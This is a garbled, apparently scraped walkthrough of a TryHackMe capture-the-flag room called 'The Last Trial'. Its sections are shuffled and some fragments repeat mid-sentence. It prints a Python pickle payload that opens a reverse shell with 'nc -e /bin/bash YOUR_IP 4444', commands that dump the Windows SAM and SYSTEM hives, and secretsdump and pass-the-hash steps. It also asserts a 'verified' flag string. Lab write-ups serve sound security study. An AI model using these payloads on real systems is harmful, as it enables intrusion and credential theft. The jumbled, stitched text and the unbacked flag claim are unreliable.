On attacker:
Introduction If you are navigating the challenging waters of the TryHackMe platform, you have likely encountered a room that strikes both fear and excitement into the heart of even seasoned penetration testers: The Last Trial . This room is infamous for being the capstone challenge of the Offensive Security track, demanding a synthesis of everything you have learned—from enumeration and exploitation to privilege escalation and lateral movement.
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\" -Name "LastTrial" Value: THM{verified_49d8f1a2b3c4e5f6a7b8c9d0e1f2a3b4} the last trial tryhackme verified
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,zip Look for /dev/ , /notes/ , or a .git/ directory. The last trial hides an SSH key in a .git cache. Step 3: The "Hidden API" Endpoint One element unique to this room is a hidden GraphQL endpoint at /api/graphql . This is not documented. Use ffuf to fuzz for API endpoints:
import pickle import os class RCE: def __reduce__(self): return (os.system, ('nc -e /bin/bash YOUR_IP 4444',)) pickled = pickle.dumps(RCE()) with open('config.pkl', 'wb') as f: f.write(pickled) Upload as config.pkl . Your netcat listener catches a shell as www-data . On attacker: Introduction If you are navigating the
reg save hklm\sam sam.save reg save hklm\system system.save Download to attacker, use secretsdump.py to get Administrator hash. Pass-the-hash to gain SYSTEM. On Machine 2 as SYSTEM, the final flag is not in a text file. The verified flag is a hexadecimal string stored in the Windows Registry under:
No other method works because the binary ignores standard sudo exploits. Phase 4: Lateral Movement – The Second Machine With root on Machine 1, you find a .ssh/id_rsa key belonging to john . Machine 2 (IP 172.17.0.2 ) is internal. Use chisel to pivot: The last trial hides an SSH key in a
In this article, we will break down exactly what "verified" means in the context of The Last Trial, provide a step-by-step walkthrough to achieve full compromise, and explain how you can confidently claim that you have your skills by completing this grueling challenge. What is "The Last Trial" on TryHackMe? Before diving into verification, let’s set the stage. The Last Trial (Room ID: thelasttrial ) is a high-difficulty, CTF-style room created by a veteran TryHackMe contributor. Unlike beginner rooms that guide you with explicit questions, this room throws you into a simulated corporate network with minimal hand-holding.